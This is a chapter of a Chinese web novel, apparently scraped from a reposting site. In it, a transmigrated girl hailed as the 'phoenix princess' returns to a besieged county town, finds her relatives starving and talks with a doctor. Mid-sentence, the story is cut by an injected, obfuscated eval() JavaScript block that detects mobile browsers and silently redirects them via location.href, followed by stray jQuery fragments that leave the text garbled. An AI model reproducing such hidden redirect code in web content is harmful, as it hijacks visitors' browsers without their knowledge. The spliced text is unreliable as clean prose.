生死攸关时刻,县中官绅竟还是这般吝啬,多一点钱粮都不肯出,张青禾也不知道说什么是好。
想来等城破的那天,他们才……不,哪怕是城破了,他们也不会悔悟吧,还会责怪这些泥腿子守城不力。
在那些人眼里,他们是可以肆意盘剥的下等人啊。
想明白这点,张青禾嘴角勾起,眼中一片冰冷。
“这路上怎么没什么人?”张文丰常年走街串巷,下意识地四下打量。
张广望道:“贼匪都快打来了,哪还有心思出门。稍有些家资的,早两天就走了,留下的都是穷苦人家,也没什么生意可做。”
“富户出逃,县中官吏不管吗?”张青禾想不明白,豪绅有钱有粮还有人,于守城也是一大助力。
“你这娃儿,出去一趟可是活泼不少。”张广望打量了她一眼,这才接着道:“管?拿什么管。县令还是走的高家在殷都的门路才有的实职。”
怕张青禾不理解,他又接着道:“现在的平阳县县令官职是买来的,不过也不是所有买官的都有实授,更多的只给虚衔,想要有实授还得有关系、门路。”
张青禾大为震撼,不过不是震撼买官一事,这事她以前所在的历朝历代也不少见,震撼的是连张广望这些小民都知道这事,可见朝廷威信到了何种程度。
“这么说,我们也可以买官咯?”
张广望失笑,到底是小孩子:“哪来的钱啊?光一个小吏就得千钱,我们哪出得起,而且还要搭上关系,不然就是肉包子打狗,一去不回。”
“这可说不定。”张青禾喃喃,心中思量这种可能性。
申朝一统九州至今已有两百多年,早已深入人心,所以就算吏治腐败,天灾频发,也能顽强地维持着。
名分大义,听着虚忽,实则有和没有,全然是两种相反的结局。
“四姐!”正沉思着,突然一道小身影猛地投入怀里,张青禾被带得踉跄。
还没回过神来,就听怀里人儿呜呜哽咽道:“我还以为再也见不到你了。”
事情传回来,大人们也没避着孩子谈论。
张青禾忙安抚道:“好了,没事,四姐没事,大家都没事,别怕。而且我这次回来是来接大家的,以后大家都在一起,再也不分开。”
“真的?”五妞抬头,冒着鼻涕道。
张青禾失笑:“当然是真的,四姐什么时候骗过你。”
“你偷偷和梨花去山脚玩就骗了我。”
张青禾面色一僵,记忆里还真有这么回事。梨花是邻居家的同龄孩子,和原身也玩得来。
有次两人挖野菜的时候,发现了丛山萝卜,这对于吃不饱的两人来说可是好东西,于是决定谁都不告诉,饿了就一起过去啃。
五妞当时想跟着,被她借口打发了,为此还生了好一阵气,还是拿的山萝卜哄好的。
她俩在那姐妹好,张文丰在一边差点没吓傻,好在刚刚不是刺杀,不然他就是死了也赎不了罪。
好在他总算有点眼力劲,打岔道:“五妞你怎么跑出来了?”
小丫头猛地反应过来,着急道:“二嫂晕过去了,娘让我去喊爹请大夫。”
张青禾看向张文丰:“你去请大夫,我陪五妞去喊大伯。”
“可是……”张文丰迟疑,临出门贺二牛就提溜了他一顿,结果刚才就失职了。
张青禾没好气道:“人命关天,还犹豫什么,放心,没人伤得了我。”
这对话张广望听着莫名其妙,不过事态紧急,他也看出张文丰的犹豫,便开口:“文丰你还是留下来看孩子吧,我去请大夫,城里我熟些。”
张文丰松了口气:“那麻烦你了。”
“二伯去哪了?堂哥堂嫂他们呢?怎么叫你一个人出来?”一大两小跑着,张青禾问道。
穷人的孩子早当家,五妞小小的人儿,说话也很有条理:“爹和三哥这两天给人砌墙,大哥和四哥守城去了,四嫂得在家看孩子。”
张青禾笑道:“你不也是个孩子。”
五妞却认真道:“我不小了,我可以帮忙做家务,帮忙看侄儿侄女的。”
是啊,这个年纪,已经是家里半个劳力了,原身也是。
也不是家里虐待,只是生活不易,不得不如此。
张青禾五味杂陈:“五妞真厉害。”
五妞不好意思笑笑,又觉得四姐现在怪怪的,说话语气跟婶娘那些长辈一样。
没多久,三人就到了地方,也不用去寻,院墙外就看到了他们忙碌的身影。
“爹,三哥。”五妞喊道。
正在垒高墙的两人闻声回望:“妞儿你咋来这了?”
五妞重复道:“二嫂晕倒了,娘让我叫你去请大夫。”
他三哥张福安着急道:“啊?嫂子晕倒了?那你三嫂呢,没事吧?”
五妞道:“三嫂没事,在家看侄子呢。”
两人忙从墙头下来,不过刚落地就被人喊住了:“欸,干嘛呢?”
二伯张林躬身道:“田管事,您也听到了,家里有急事,我们回去一趟,很快回来。”
田管事皱眉:“不行,贼匪眼看要打过来了,就等这院墙防贼呢,今明儿说什么都得完工。”
继而看向同样干活的人道:“我不管你们谁家出什么事,你们今个一个都不准走,谁要是走了,别怪我不给结工钱。”
“不走,不走,我们肯定抓紧把活干完。”
好不容易得来的机会,又干了好些天,家里还等米下锅呢,可不能丢了。
田管事满意点头,而后看向张林父子俩。
张林一脸为难:“这……”
“二伯,我们回去吧。”张青禾高声道。
张林这才注意到旁边的张青禾:“四妞?你怎么回来了?你爹娘大伯他们也回来了?”
张青禾点头:“都回来了,在等您回去呢。”
犹豫了会,张林叹道:“既然大家都在,我们就先不回去了,这活得干完。”
“老哥……”张文丰想要开口说什么,张青禾制止了:“那您接着忙,我们等您下工回来。”
张林这会儿自也注意到张文丰,对他点头道:“文丰也回来啦,麻烦你送俩孩子回去。”
张文丰把话咽下:“好。”
张林便招呼儿子富安接着忙活,转身的一瞬,张青禾感觉二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230572|165924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伯的腰又佝偻了一分。
朝不保夕,身不由己。
张青禾知道那种感受,当年毕业出来找工作,竞争大,为了不让奶奶担心,早早入职了家黑心公司。
见天的加班,生病了也不敢请假,就算请假了还得麻烦同事带累看顾工作,落下人情。
好在后面攒了点积蓄,熬了出来,这才轻松了点。
张青禾一时有些迷茫了。
“凰女殿下?”见张青禾心不在焉的,张文丰轻声唤道。
张青禾抬头看向他:“你觉得什么样的世道才算盛世?”
张文丰愣了下道:“人人都能吃饱饭吧,再有点余钱就更好了。”
“只是这样?”
张文丰沉默一瞬:“这样就很好了。”
张青禾释然一笑:“会有那一天的。”
她所奢望的,也会有实现的一天的。
“当然,有凰女殿下您在,那天肯定会来。”张文丰适时拍了个马屁。
张青禾摇头:“没有我也会有那天的,哪怕花的时间有点长,但终会到来。”
张文丰听得茫然,只下意识点头。
五妞不知道两人说什么,不过她抓住了重点:“我也想吃饱饭。”
张青禾摸了摸她的小脸,都瘦凹了:“好,回去就给你做好吃的。”
他们回到落脚地方的时候,张广望和大夫已经在了。
“怎么样?”张青禾问道。
老大夫没回,犯不着和她一小女娃说,还是张广望开口道:“饿晕的,你二嫂把自己的口粮省下给两个小的,她身体本来就亏得厉害。”
“可怜天下父母心。”张青禾感慨道。
老大夫正准备施针把人弄醒,闻言倒是看了眼张青禾,打趣道:“你个小女娃,还知道父母心?”
张青禾知道自己现在这样子容易被人看轻,但也不恼,凡事都有两面性,但还是决定给老人家一点震撼,她也是有脾气的:“您这话说的,父慈子孝,儿女若不懂父母心,如何会孝顺呢?”
老大夫手上功夫不停,点头道:“有道理。”
张青禾道:“我还知道,父母之爱子,则为之计深远。”
老大夫这下是真诧异了:“小丫头读过书?”
张青禾谦虚道:“略通一二。”
区区九年义务而已。
老大夫笑道:“倒是有点小聪明。”
正聊着,草席上的人就醒了过来:“我这是?”
没来得及询问张青禾情况的二婶黄翠花抹眼道:“你也是个死心眼,说了也不听,你万一有个好歹,你让孩子们怎么办?”
家里就草棚子这么点大,哪里瞒得住事,所以黄翠花偶尔也补贴一点,可家里实在困难。
郑慧儿垂头不语。
老大夫开口道:“行了,这次是缓过来了,我再给你开几副药养养。”
多的话他没说,这家的情况他见多了。
黄翠花忙道:“谢谢大夫,不知道诊金多少?”
“不忙。”老大夫摆手,看向张青禾:“小女娃可愿随我学医?”
张青禾目光炯炯:“学医能救得了天下吗?”